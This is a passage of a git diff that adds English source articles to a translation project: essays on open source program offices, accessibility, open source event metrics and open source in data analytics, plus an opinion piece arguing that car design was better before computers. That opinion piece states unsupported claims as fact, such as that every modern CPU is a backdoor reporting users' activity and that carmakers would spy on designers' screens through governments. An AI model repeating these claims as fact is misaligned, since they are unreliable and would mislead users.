"Sakshi Sharma https://www.opensourceforu.com/author/sakshi-sharma/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Why Companies Need to Set Up an Open Source Program Office +====== +*Managing the use of open source software and decreasing compliance risks is key to the success of any software product. An open source program office can help an organisation do just that. Find out how.* + +Open source software (OSS) is integral to building a modern software solution. Be it an internal or a customer facing solution, organisations rely significantly on open source software today. OSS components are governed by their unique licence terms, and non-compliance with these can often expose organisations to security and intellectual property (IP) risks which eventually may hamper a company’s brand value. + +When development teams are delivering a software release, they are primarily trying to meet project deadlines. Therefore, the tracking of versions of components and libraries, or the third party code pulled into the project, is not as rigorous as it should be. This means that licences and vulnerable OSS components can enter the code base and be delivered to customers. This can be risky for both the customer and the company delivering the software solution. + +Another increasingly challenging area is that of developers contributing to open source projects. Companies can reap numerous benefits if they do so. This includes keeping skills current, retention of staff, attracting developers to work for the organisation, and improving the image of the company. Many open source projects require developers to sign a contributor licence agreement. This states that any IP created by the developer belongs to the project and not to the contributing developer. In this scenario, organisations need to be careful that IP and trade secrets that are not open source are not being signed over to open source projects. + +Developers need to be educated about open source licensing issues, determining what to leverage, when or how much they can contribute to the community, and what packages might bring risk to the organisation’s reputation. All this can be streamlined by putting a strategic policy and operations in place. One way of doing this is by creating an entity that is dedicated to working around all things open source—an entity called the open source program office (OSPO). + +An OSPO creates an ecosystem for employees to use open source software in a way that compliance risks are kept at bay. The role of an OSPO is not limited to supervising open source usage; it is also responsible for contributing back to the community and managing the company’s growth in the market by actively engaging in events, as well as conducting webinars and campaigns. + +In this article we will see why there is a need for building an OSPO, and how it has emerged as a prominent entity for any open source policy and governance programme. + +### Why should you have an OSPO? + +With the wide use of open source software, regulating its usage and keeping the compliance strategy in check can be often overwhelming for the teams involved in the product development cycle. + +Developers often overlook licence obligations, and sometimes the management or stakeholders are also not fully aware of the implications of non-compliance with these open source licences. OSPO handles open source software right from its on-boarding till the time it is delivered to the end user and everything inbetween, irrespective of whether it is being used for internal or external purposes. + +An OSPO builds a solid foundation by starting compliance and regulatory checks in the early software development life cycle. This usually begins by guiding and aligning the involved team members towards a common path that benefits the organisation’s values. The OSPO puts in place policies and processes around open source usage and governs the roles and responsibilities across the company. + +To conclude, it aligns the efforts of all relevant teams involved in building the product and helps increase the organisation’s capacity for better and effective use of open source. + +| The rise of the OSPO | +| :- | +| Companies like Microsoft, Google and Netflix have well established OSPOs within their organisations. Many others, like Porsche and Spotify, are building their own OSPOs to leverage the usage of open source in an efficient way. +Here is what leaders from renowned companies have to say about OSPO practices. + +“As a business, it’s a culture change,” explains Jeff McAffer, who ran Microsoft’s Open Source Program Office for years and now is a director of products at GitHub focused on promoting open source in enterprises. “Many companies, they’re not used to collaboration. They’re not used to engaging with teams outside of their company.” +“Engineering, business, and legal stakeholders each have their own goals and roles, oftentimes making trade-offs between speed, quality, and risk,” explains Remy DeCausemaker, head of open source at Spotify. “An OSPO works to balance and connect these individual goals into a holistic strategy that reduces friction.” +Gil Yahuda, Verizon Media’s OSPO leader, states, “We seek to create a working environment that talent wants to be part of. Our engineers know that they work in an open source friendly environment where they are supported and encouraged to work with the open source communities that are relevant to their work.” | + +Here is what leaders from renowned companies have to say about OSPO practices. + +* “As a business, it’s a culture change,” explains Jeff McAffer, who ran Microsoft’s Open Source Program Office for years and now is a director of products at GitHub focused on promoting open source in enterprises. “Many companies, they’re not used to collaboration. They’re not used to engaging with teams outside of their company.” +* “Engineering, business, and legal stakeholders each have their own goals and roles, oftentimes making trade-offs between speed, quality, and risk,” explains Remy DeCausemaker, head of open source at Spotify. “An OSPO works to balance and connect these individual goals into a holistic strategy that reduces friction.” +* Gil Yahuda, Verizon Media’s OSPO leader, states, “We seek to create a working environment that talent wants to be part of. Our engineers know that they work in an open source friendly environment where they are supported and encouraged to work with the open source communities that are relevant to their work.” + +![Figure 1: OSPO prevalence by industry 2018-2021 (Source: https://github.com/todogroup/osposurvey/tree/master/2021)][1] + +### The function of an OSPO + +The function of an OSPO may vary from organisation to organisation depending on the number of its employees and the number of people that are part of the OSPO team. Another factor is the purpose of using open source. An organisation may only want to use open source software for building the product or may also look at contributing back to the community. + +Evaluating factors such as which open source licences are appropriate or whether full-time employees should be contributing to an open source project may be part of the OSPO’s role. Putting a contributor licence agreement (CLA) in place for developers that are willing to contribute and determining what open source components will help in accelerating a product’s growth and quality are some other roles of an OSPO. + +Some of the key functions of an OSPO involve: + +* Putting an open source compliance and governance policy in place to mitigate intellectual property risks to the organisation +* Educating developers towards better decision-making +* Defining policies that lay out the requirements and rules for working with open source across the company +* Monitoring the usage of open source software inside as well as outside the organisation +* Conducting meetings after every software release to discuss what went well and what could be done better with the OSS compliance process +* Accelerating the software development life cycle (SDLC) +* Transparency and coordination amongst different departments +* Streamlining processes to help mitigate risks at an early stage +* Encouraging members to contribute upstream to gain the collaborative and innovative benefits of open source projects +* Producing a report with suitable remediation and recommendations for the product team +* Preparing compliance artifacts and ensuring licence obligations are fulfilled + +### Building an OSPO + +The OSPO is typically staffed with personnel from multiple departments within the company. The process involves training and educating the relevant departments regarding open source compliance basics and the risks involved in its usage. It may provide legal and technical support services so that the open source requirement goals are met. + +An OSPO may be formed by the following people within the organisation (this is a non-exhaustive list of people who can be a part of it): + +* Principal/Chief: This role can be taken by the flag bearer, the one who runs the OSPO. The chief knows the various aspects of using open source like the effect of using different components, licence implications, development and contributing to the community. These requirements are entirely dependent on an organisation’s needs. +* Program manager: The program manager sets the requirements and objectives for the target solution. He/she works alongside the product and engineering teams to connect workflows. This includes ensuring that policies and tools are implemented in a developer-friendly manner. +* Legal support: Legal support can come from outside the firm or in-house, but is an important part of an OSPO. The legal role works closely with the program manager to define policies that govern OSS use, including which open source licences are allowed for each product, how to (or whether to) contribute to existing open source projects, and so on. +* Product and engineering teams/developers: The engineering team should be well-versed with open source licence(s) and their associated risks. The team must seek approval from the OSPO before consuming any open source component. The team may have to be trained with respect to open source compliance basics and its usage at regular intervals +* CTOs/CIOs/stakeholders: A company’s leadership has a huge impact on the OSPO strategies. The stakeholders have a great say in the decision making process for any product/solution’s delivery. Due to the nature of the OSPO’s function within a company, the VP of engineering, CTO/CIO, or chief compliance/risk officer must get involved in the OSPO. +* IT teams: Having support from the IT department is very important. An OSPO may be tasked with implementing internal tools to improve developer efficiency, monitor open source compliance, or dictate open source security measures. IT teams are key in helping to connect workflows, and ensure policies are implemented in a developer-friendly manner. + +In the 2021 State of OSPO Survey conducted by the TODO Group, the key findings were: + +* There are many opportunities to educate companies about how OSPOs can benefit them. +OSPOs had a positive impact on their sponsor’s software practices, but their benefits differed depending on the size of an organisation. +* Companies that intended to start an OSPO hoped it would increase innovation, but setting a strategy and a budget remained top challenges to their goals. +* Almost half of the survey participants without an OSPO believed it would help their company, but of those that didn’t think it would help, 35 per cent said they haven’t even considered it. +* 27 per cent of survey participants said a company’s open source participation is very influential in their organisation’s buying decisions. + +The use of open source software when building any software solution is almost inevitable today. However, the open source licence risks cannot be overseen. What is needed is a strategic streamlining process that helps combat the compliance issues that come in the way of using open source components effectively. + +An OSPO helps set a regulatory culture by building a centralised dedicated team that educates employees and brings awareness regarding everything related to open source usage in an organisation. An OSPO can also work as a guide to fetch top talent from the industry, which will eventually be a boon for business goals.Sakshi Sharma + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/why-companies-need-to-set-up-an-open-source-program-office/ + +作者:[Sakshi Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/sakshi-sharma/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-OSPO-prevalence-by-industry-2018-2021-2.jpg diff --git a/sources/talk/20220901 Usability and accessibility starts with open communication.md b/sources/talk/20220901 Usability and accessibility starts with open communication.md new file mode 100644 index 0000000000..a0e3a3c045 --- /dev/null +++ b/sources/talk/20220901 Usability and accessibility starts with open communication.md @@ -0,0 +1,50 @@ +[#]: subject: "Usability and accessibility starts with open communication" +[#]: via: "https://opensource.com/article/22/9/accessibility-open-source" +[#]: author: "Klaatu https://opensource.com/users/klaatu" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Usability and accessibility starts with open communication +====== +Use open source principles to make your project more accessible for your users. + +Amazing though it may seem, we each experience the world differently. That's one reality with over 6 billion interpretations. Many of us use computers to broaden our experience of the world, but a computer is part of reality and so if you experience reality without, for instance, vision or sound, then you also experience a computer without vision or sound (or whatever your unique experience might be.) As humans, we don't quite have the power to experience the world the way somebody does. We can mimic some of the surface-level things (I can close my eyes to mimic blindness, for example) but it's only an imitation, without history, context, or urgency. As a result of this complexity, we humans design things primarily for ourselves, based on the way we experience the world. That can be frustrating, from an engineering and design viewpoint, because even when you intend to be inclusive, you end up forgetting something "obvious" and essential, or the solution to one problem introduces a problem for someone else, and so on. What's an open source enthusiast, or programmer, or architect, or teacher, or just everyday hacker, supposed to do to make software, communities, and processes accessible? + +### Don't miss the opportunities + +A friend of mine, who lives with hearing loss, recently signed up for a webinar and contacted the host to request captioning or, failing that, a transcript of the lessons. It was a great disappointment when the host, who had specifically emailed all participants with an invitation for feedback, never even responded to the request. In the end, some mutual friends attended the webinar and took notes. + +The webinar was a small event run by an individual, so it's possible that emails all around were going unanswered until the end of the multi-week event. However, this incident can serve as a valuable lesson: Accessibility starts with communication. + +You can't know the unique needs of every single person interacting with the thing (website, software, podcast, article, and so on) you produce. You can't predict what small arbitrary choice you make might lead to the accidental exclusion of someone who would otherwise have engaged with you. What you can do, though, is look for opportunities to learn about them. When someone sends an email about how the 8-point, thin, 45% gray font on a white background makes your website hard to read, don't ignore it, and don't chalk it up to a difference in opinion. When someone files a bug that Orca or [NVDA][5] can't navigate your application, don't close it until it's fixed. + +### What to do when you can't help + +Nobody knows everything, and that's true for each of us participating in open source. It's very likely that you'll get a comment from somebody with an issue in something you've designed, and you won't know how to fix it. Or you might know how to fix it, but you just won't have the time to implement the fix. That doesn't make you a bad person, it just reveals the one thing that's true for all of us: You have limited resources. But through open collaboration, there's more than likely an answer. + +Open source is all about sharing, and this is as true for code as it is for community resources. Identifying a bug at the very least demonstrates what your project needs from potential future contributors. Possibly, the person making the request or filing the bug can help you find someone who knows how to fix the issue. Or maybe they have friends who help them find a work-around, and could at the very least document the round-about way they deal with the issue, which could be exactly the stop-gap you need while you upskill enough to find the "right" fix for the problem. + +Answers to usability and accessibility aren't always as direct as you think they need to be. Sometimes, a simple work-around or accommodation is all that's needed. I contribute to a fairly technical podcast, and I was once asked whether I could release transcripts. It's beyond my means to produce those for every episode, but as a concession I have, ever since, included either existing reference documentation, or I write new documentation on the podcast's website, so that even if a potential listener can't process what I say in the podcast, at least the information I impart isn't lost. It's not the *best* solution (although admittedly my podcasts aren't always as focused as they could be, so actually reference documentation is probably the better option) but the "answer" to the problem is really easy for me to do, but something I hadn't thought to do until someone asked. + +Sometimes the "right" answer is "no." I've gotten requests for visuals to accompany audio-only content before. While it was possible to do that, it would have required a completely different production and hosting infrastructure, and so the answer truly was "no." However, I was able to respond to the request with a list of resources that were providing similar content along with video. You can't be everything to all people. Knowing your project's, and your own, limitations is important, and it's equally important to respect them. + +### Open communication + +Communication is the starting point for usability and accessibility. When someone reaches out to you because something you're doing isn't accessible to them, that is, strange though it may seem, a marketing success. Somebody wants to engage with your content or your project. That's exciting! Don't pass up those opportunities. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/accessibility-open-source + +作者:[Klaatu][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/klaatu +[b]: https://github.com/lkxed diff --git a/sources/talk/20220904 Opinion- Car Design Was Better Before Computers.md b/sources/talk/20220904 Opinion- Car Design Was Better Before Computers.md new file mode 100644 index 0000000000..3799ab395f --- /dev/null +++ b/sources/talk/20220904 Opinion- Car Design Was Better Before Computers.md @@ -0,0 +1,110 @@ +[#]: subject: "Opinion: Car Design Was Better Before Computers" +[#]: via: "https://news.itsfoss.com/car-design-was-better-before-computers/" +[#]: author: "Community https://news.itsfoss.com/author/team/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Opinion: Car Design Was Better Before Computers +====== +The ethical hellscape of today's automobile industry, and why cars were better designed before the widespread use of computers. + +![Opinion: Car Design Was Better Before Computers][1] + +[Karla Alexander][2] on [Unsplash][3] + +The ethical car designers will quickly discover that corruption in the car industry goes way beyond manufacturers' faked emission-tests; their mass-participation in war crimes; and the children they force to work in the cobalt, mica, and lithium mines. In fact, the corruption in *Car Land* begins the moment you switch on a computer and load your CAD software. + +![Solvespace: An ethical, free, opensource parametric modeling tool][4] + +All modern computer processors are backdoored-by-design, and so airgapping all production machines is the only rational solution. Intel's  'Management Engine' and AMD's 'Platform Security Processor' openly snoop on everything you do on your computer, reporting this data back to whoever has keys to the CPU backdoors. + +The larger automobile conglomerates are inextricable from the state. National Socialism was essentially corporatism. Therefore, the problem can be stated simply: If you plan to design and engineer products, then it is foundational to ensure that your competitors cannot steal your designs. + +If you are working in the car industry, then your  competitors are state-level combatants. In other words: Governments. + +It is no accident that notorious car-manufacturers are able to fake their emissions-tests and build unchecked monopolies: These car companies 'own' vast swathes of the political apparatus. This gives these conglomerates access to surveillance systems; the Intel and AMD backdoors; and (you guessed it) access to your computer. + +Remember, many of these car companies are currently child-slavers; several literally have Nazi-origins. These companies ran concentration-camps and, in the years since, have lied about poisoning our shared air-supply; multiple times, in multiple countries. This 'Automobile Establishment' will have no qualms about reading stolen information from your computer screen, assisted by the government(s) they think they own. + +Airgapping all engineering-computers should be routine if you are working in the independent automotive-design field. To 'airgap' a computer means to remove any wifi, ethernet or bluetooth equipment from the system and to ensure the computer is completely disconnected from the internet or other exploitable network-connection. + +By airgapping a system, you ensure that (although the CPU is backdoored) the computer can no longer spy on you because it cannot report its spying to anyone. The CPU will continue to monitor your work, but it will be trapped; unable to transfer this information out to the Automobile Establishment and their cronies in government(s). + +Here, we should touch briefly on the issue of the ethics of CAD (Computer Aided Design) computers themselves. Almost every modern computer is manufactured in a Communist dictatorship, often by children. This is, after all, the reason companies manufacture in these regions: It is cheap to manufacture in the 'Slave Zones' because there are few human rights, and children are often used as labor. + +Ethical options do exist, but they take some hunting down. For example, Raspberry Pi manufactures their computer boards in the UK. Although you might consider this an underpowered computer, it is perfectly sufficient for running software like the excellent [Solvespace][5] (for parametric modeling) or [Blender][6] (for visualization work). + +Remember that most of the greatest cars ever designed came from an era before desktop computers. You should consider eliminating computers as much as possible from your engineering workflow. They tend to destroy creativity and generate lazy, derivative designs. The engineers who worked on the *Corvette Stingray*, for example, went nowhere near a computer. + +![Corvette Stingray][7] + +If you absolutely must use a 3D workstation for your automotive design, then the closest thing to an ethical PC are those made by Fujitsu, which are manufactured in Germany and Japan. Similarly, Eizo make their screens in Japan. This information is not given lightly: It took us many months to figure out that Raspberry Pi, Fujistu, and Eizo are the ethical options. Most country-of-manufacture information is hidden. Most major search engines are 'gamed' to stop the consumer from avoiding the profitable 'Slave Zone' manufacturers. + +The elephant in the room of the computer industry is this: That most of our computers are made by slaves, and profit the slave-masters. + +Even a Fujitsu PC contains many China-sourced parts. The balance, however, shifts towards ethical manufacture. + +A second-hand Fujitsu and Eizo screen is perhaps the only option for CAD designers who don't want to fund slavery; but let us know if you discover other options. + +Finally, there is the question of software. Given the association between the former-head of one major operating system manufacturer and Jeffrey Epstein, nobody with any sense of morality can use his product. The other major operating system (and computer) manufacturer is a major child-slaver, so again, we can rule them out. + +The solution here is obvious: Linux. + +If you haven't tried Linux in a few years, you will be surprised by how it has made strides past everything else. Now there is even a project in the works to connect *Blender* to *Solvespace*. The project is called [CAD Sketcher][8], and it drives parametric modeling on free, open-source software to dizzy new heights. + +![CAD Sketcher: This software allows you to use Blender as a parametric modeler.][9] + +Most impressive of all, however, is the work of a developer called RealThunder. This hotshot-coder is firing on all turbines and has produced [a fork of FreeCAD that outshines the original][10]. RealThunder's fork includes a topological naming feature and other slick hacks. + +![][11] + +In RealThunder's own words, "I am an extremely efficient coder. In fact, my coding pace is probably too fast for FreeCAD upstream." + +That's fighting talk. Things are getting very interesting here in the frontier towns of Liberated CAD. + +Given that open-source has overtaken the industry: What now for the legacy, closed-source CAD tools that the automobile industry has come to rely on? Look around you on the streets. Do these cars look good? In my opinion, they are irredeemably horrible and the tools that created them should be burned at the digital stake. + +Form does not merely follow function; it also follows the tools we use to create the things we build. + +Today's collapsing automobile-industry is a decrepit monster. Whatever tools were used to build this industry, and the cars it produced, were not fit for purpose. It's time for something new. + +![][12] + +Chris Stevens collaborated with Steve Jobs to bring [an interactive version of Alice in Wonderland][13] back into the popular consciousness. Stevens' work on *Alice* was promoted by Steve Jobs through global television advertising campaigns and together they shipped millions of copies of the software. Chris Stevens' work is also acclaimed by [Fast Company][14] and [The Atlantic][15] among others. After some serious self-reflection, Stevens sold his software company, *Atomic Antelope*, to *Oceanhouse Media*, in California, for an undisclosed sum. Stevens then left the world of closed-source forever. He is now an automotive engineer working on open-source automobiles. Stevens is a cheerleader for the open-source revolution. "If it's not open-source; then it's sauce," is Stevens' enduring motto. + +**The views and opinions expressed in this article are those of the authors and do not necessarily represent opinions It's FOSS.** + +The article originally appeared at [Volcano][16]. + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/car-design-was-better-before-computers/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/team/ +[b]: https://github.com/lkxed +[1]: https://images.unsplash.com/photo-1484687742385-1249620c2687?crop=entropy&cs=tinysrgb&fit=max&fm=jpg&ixid=MnwxMTc3M3wwfDF8c2VhcmNofDE2fHx2aW50YWdlJTIwY2FyfGVufDB8fHx8MTY2MjE3NTc0NA&ixlib=rb-1.2.1&q=80&w=1200 +[2]: https://unsplash.com/@kmvrlv?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[3]: https://unsplash.com/?utm_source=ghost&utm_medium=referral&utm_campaign=api-credit +[4]: https://news.itsfoss.com/content/images/2022/08/solvespace.jpg +[5]: https://solvespace.com/index.pl +[6]: https://www.blender.org/ +[7]: https://news.itsfoss.com/content/images/2022/08/corvette-68.jpg +[8]: https://www.cadsketcher.com/ +[9]: https://news.itsfoss.com/content/images/2022/08/CAD-Sketcher-Blender.jpg +[10]: https://www.patreon.com/thundereal +[11]: https://news.itsfoss.com/content/media/2022/09/drawstyle.webm +[12]: https://news.itsfoss.com/content/images/2022/09/chris-stevens-photo-1.jpeg +[13]: https://www.youtube.com/watch?v=gew68Qj5kxw +[14]: https://www.fastcompany.com/1694027/alice-ipad-co-creator-chris-stevens-risk-and-rabbit-holes +[15]: https://www.theatlantic.com/entertainment/archive/2011/03/the-most-technologically-advanced-book-for-the-ipad/72610/ +[16]: https://vo.lc/ano/ diff --git a/sources/talk/20220907 Open source events- 4 goals to set and how to measure them.md b/sources/talk/20220907 Open source events- 4 goals to set and how to measure them.md new file mode 100644 index 0000000000..266171573a --- /dev/null +++ b/sources/talk/20220907 Open source events- 4 goals to set and how to measure them.md @@ -0,0 +1,91 @@ +[#]: subject: "Open source events: 4 goals to set and how to measure them" +[#]: via: "https://opensource.com/article/22/9/measure-success-your-open-source-event" +[#]: author: "Shaun McCance https://opensource.com/users/shaunm" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open source events: 4 goals to set and how to measure them +====== +Measure the success of your community events by defining goals and creating metrics. + +![Team of people around the world][1] + +Events are an essential component of open source community health. A positive event experience can inspire current contributors and encourage new ones. But how can you tell whether your events are successful? + +We at the [CHAOSS (Community Health Analytics Open Source Software) App Ecosystem Working Group][2] have considered this question for our events to maintain the health of the communities involved. The CHAOSS App Ecosystem includes several projects focused on developing applications for the Linux platform. While currently dominated by the GNOME and KDE communities, it is not defined by them. The app ecosystem, as it stands today, is primarily driven by volunteers with altruistic goals organized around free software principles. The work we share in this article is an update from our November 2020 article about [success metrics for open source events][3]. + +We follow the goal-question-metric approach. We first identify several goals that a person or organization might have. We then identify questions we need to answer to achieve those goals. Finally, for each question, we consider quantifiable metrics that provide answers. For event organizers, we established four goals. + +### Goal 1: Retain and attract contributors + +Contributors are the lifeblood of any open source project or ecosystem, and events are a core part of the contributor experience. They are an opportunity to attract new contributors, and they can build and reaffirm relationships that help retain existing contributors. Events should be geared toward creating a harmonious and enthusiastic atmosphere that builds relationships with the project, ecosystem, and community. + +One question to consider, then, is how long people who attend events stay with the community. If the value of events is to strengthen the relationships that retain contributors, we should be able to measure that. Answering this question requires long-term data on contributions and event attendance. Fortunately, many projects will already have this historical data. + +Another question is what roles event attendees have in our open source projects. Events can often be highly technical and may not attract people who want to contribute in [non-coding roles][4], such as design, documentation, and marketing. If projects have the means to track non-code contributions, which is often tricky, you can correlate with event attendee lists. This information can help event organizers create events that attract a wider audience. + +### Goal 2: Have engaging events + +Events are more than presentations. They create a space for community members to come together. If they don't engage with each other, the event is a lost opportunity. The importance of interactions between members is also evident in the so-called hallway track, the name given to engagement that occurs in the hallways and outside the regular event schedule. Some conferences even have discounted tickets for people who don't plan to attend any sessions but want to engage with others in the hallway track. The question for us is how to measure an event's success in terms of how it fosters engagements between event participants. + +To measure engagement during regularly scheduled sessions, we could count the number of questions asked during a Q&A session. While the individual speakers directly influence this metric, there are things event organizers can do to encourage Q&A participation. For example, event organizers can use their morning keynote to encourage everyone to ask questions as a form of showing appreciation. + +We also considered engagement during the hallway track. One way to measure this is observing how people behave when not in sessions. Another way to measure this is to ask participants in a post-event survey about their experience outside of scheduled sessions. + +Finally, we considered engagement in virtual spaces. One option for measuring this is through the number of social media messages that use the event's hashtag or from people we know are at the event. Another possibility for online or even in-person sessions is to have an emoji that could be collected as an easy one-click reaction to sessions, keynotes, and general conference experience. + +### Goal 3: Understand company contributions + +Companies and other organizations are essential contributors to events, even community events. They may provide sponsorship, sponsor employees to help organize, or simply send employees to the event. It's important to ensure companies find value in their contributions, but we must do this in a way that doesn't alienate community contributions. We looked at what companies expect from community events and what we can measure to improve company contributions. + +Some open source events have a reputation for being more corporate than others, so one question you might ask is what percentage of attendees are sent by their employer rather than attending as volunteers. Sometimes, the difference is built into ticket pricing. Otherwise, it's an easy question to ask on a registration survey. Although this information is helpful, it is an imperfect metric because paid open source contributors often attend events outside their job responsibilities. + +We also considered several metrics around which companies are attending events, what companies are doing apart from sending employees (for example, financially sponsoring the event), and whether companies repeat their involvement. It's important to recognize this to cultivate long-term relationships. + +Finally, we considered how competitive the landscape of similarly scoped events is. Companies only have so much budget to spend on events. As much as we enjoy similar events, they draw from the same pool of potential sponsors. Understanding which other events are seeking sponsorship can help organizers better differentiate their own events. + +### Goal 4: Address diversity and skill gaps + +The international communities built and developed across the globe, consisting of people from diverse backgrounds, are an essential component of open source projects. These communities contribute their ideas, collaborate on common goals, and help the project expand and scale toward new directions. + +In-person events are a unique chance for projects and organizations to bring their contributors together and allow them to interact and exchange diverse experiences, boosting innovation and accelerating growth from different perspectives. They are also an opportunity to cultivate and reinforce a common culture, focusing on increasing diversity and inclusion. These metrics should measure how well an event contributes to fostering this diversity and closing skill gaps in the community. + +We started by considering which skill programs we have at our events and how wide a breadth of skills these programs represent. Skill programs could include tutorials, hands-on workshops, hackathons, or many other formats. Do we have skill programs around skills other than coding? There are many skills and roles valuable to open source projects, such as the skills required to organize events. + +It's then helpful to look at which skills we need in our community and which skills are lacking. Project leads and people involved in onboarding are often a good source of this information. By comparing the skills programs we have with the skills our community needs, we can better design the programs for future events. + +### Get involved + +The CHAOSS App Ecosystem working group is interested in working with event organizers to continually refine and implement metrics. The KDE and GNOME event organizers have already discussed changing their events to better capture some of these metrics. Our work for event organizers is also [available as a PDF][7]. + +The CHAOSS App Ecosystem working group is also taking up the challenge of defining metrics for the marketing and communications functions within OSS App Ecosystems. The first step towards this goal was a conversation with folks from KDE and GNOME fulfilling this role. The conversation is available as [CHAOSScast Episode #31: Marketing Metrics for OSS Foundations and Projects][8]. The learnings from this conversation are next translated into goals-questions-metrics, as described above for the event organizer metrics. + +After our work on promotions and communications teams, we plan to address metrics for finance teams, community managers, release managers, cross-project coordinators, and mentors. Our work has only begun, and we welcome feedback and new contributors. + +You are invited to join the work of the CHAOSS App Ecosystem WG. Find more information on our [GitHub page][9]. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/measure-success-your-open-source-event + +作者:[Shaun McCance][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/shaunm +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/team_global_people_gis_location.png +[2]: https://github.com/chaoss/wg-app-ecosystem +[3]: https://opensource.com/article/20/11/chaoss-open-source-events +[4]: https://opensource.com/article/22/8/non-code-contribution-powers-open-source +[5]: https://opensource.com/article/22/6/attract-contributors-open-source-project +[6]: https://opensource.com/article/19/4/ways-support-sustain-open-source +[7]: https://github.com/chaoss/wg-app-ecosystem/blob/main/Metrics%20for%20OSS%20Event%20Organizers%20-%20CHAOSS%20App%20Ecosystem%20(Oct%202021).pdf +[8]: https://podcast.chaoss.community/31 +[9]: https://github.com/chaoss/wg-app-ecosystem diff --git a/sources/talk/20220909 Open source matters in data analytics- Here-s why.md b/sources/talk/20220909 Open source matters in data analytics- Here-s why.md new file mode 100644 index 0000000000..ed2ae2c7fd --- /dev/null +++ b/sources/talk/20220909 Open source matters in data analytics- Here-s why.md @@ -0,0 +1,60 @@ +[#]: subject: "Open source matters in data analytics: Here's why" +[#]: via: "https://opensource.com/article/22/9/open-source-data-analytics" +[#]: author: "Ray Paik https://opensource.com/users/rpaik" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Open source matters in data analytics: Here's why +====== +Open source is critical in data analysis while providing long-term benefits for the users, community members, and business. + +It's been a little over a year since I wrote my article on Opensource.com, [introducing the Cube community][2]. As I worked with our community members and other vendors, I've become more convinced of the benefits of open source in data analytics. I also think it's good to remind ourselves periodically why open source matters and how it provides long-term benefits for everyone. + +### Benefits of open source for users and customers + +One of the first things I heard from the Cube community was that they often received better support in chat from other community members than they did with proprietary software and a paid support plan. Across many open source communities, I find people who are motivated to help other (especially new) community members and see it as a way of giving back to the community. + +You don't need permission to participate in open source communities. A good open source community isn't for developers only, and people feel there's a culture of trust and feel comfortable enough to have open discussions on chat platforms, forums, and issue trackers. This is especially important for non-developers, such as data engineers or analysts in the data analytics space. + +Of course, with open source software, there's the ability to see and contribute directly to the codebase to fix bugs or add new features. Using an example from the Cube community, GraphQL support was one of our highlights last year, and our community members [contributed to this feature][3]. + +There are plenty of benefits to an active community. Even in cases where the vendor cannot release a fix in a timely manner, you can still make the changes yourself and own the runtime while you wait for an "official" fix. Community members and users also don't like being locked in to a vendor's whims, and there's no pressure to upgrade when using open source software. + +Open source communities leave many "bread crumbs" in different tools like GitLab, GitHub, Codeberg, YouTube, and so on, making it a lot easier to gauge not just the volume of activities but also the level of community engagement and culture. So even before trying out the software, you can get a good sense of the community's health (and, by extension, the company) before deciding if this is a technology you want to invest in. + +### Benefits of open source for the company + +There's no better way to lower the barrier to adoption of your software than being open source. Early on, this helps grow adoption among the technical audience. Early adopters then often become some of your most loyal fans for years to come. + +Early adopters are also catalysts for speeding up your development. Their feedback on your product and feature requests (for instance on your issue trackers) will provide insight into real-world use cases. In addition, many of the open source enthusiasts participate in co-development efforts (for example, on your repositories) for new features or bug fixes. Needless to say, this is precious for companies in the early days when there is a shortage of resources in development and product teams. + +As you tend to your community, you will help it grow and diversify. Increased diversity isn't just in demographics or geography. You want users from new industries, or users with different job titles. Using the Cube community as an example, I mostly talked to application developers a year ago, but now I’m meeting with more people that are data consumers or users. + +The collaborative culture in good open source communities lowers the barrier to entry not just for developers but also for others who want to ask questions, share their ideas or make other [non-technical contributions][4]. You get better access to diverse perspectives as your company and community grows. + +Being open source makes it easy to collaborate with other vendors and communities, not just with individual community members. For example, if you want to work with another vendor on a database driver or integration, it's a lot simpler when you can just collaborate across open source repositories. + +### Community matters + +All these benefits lead to lowering the barriers to entry for using your software and collaboration. The open source model will not only help individual software or companies, but it can help accelerate the growth of our entire ecosystem and the industry. I hope to see more open source companies and communities in the data analytics space and for all of us to continue this journey. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/open-source-data-analytics + +作者:[Ray Paik][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/rpaik +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/metrics_data_dashboard_system_computer_analytics.png +[2]: https://opensource.com/article/21/6/cubejs +[3]: 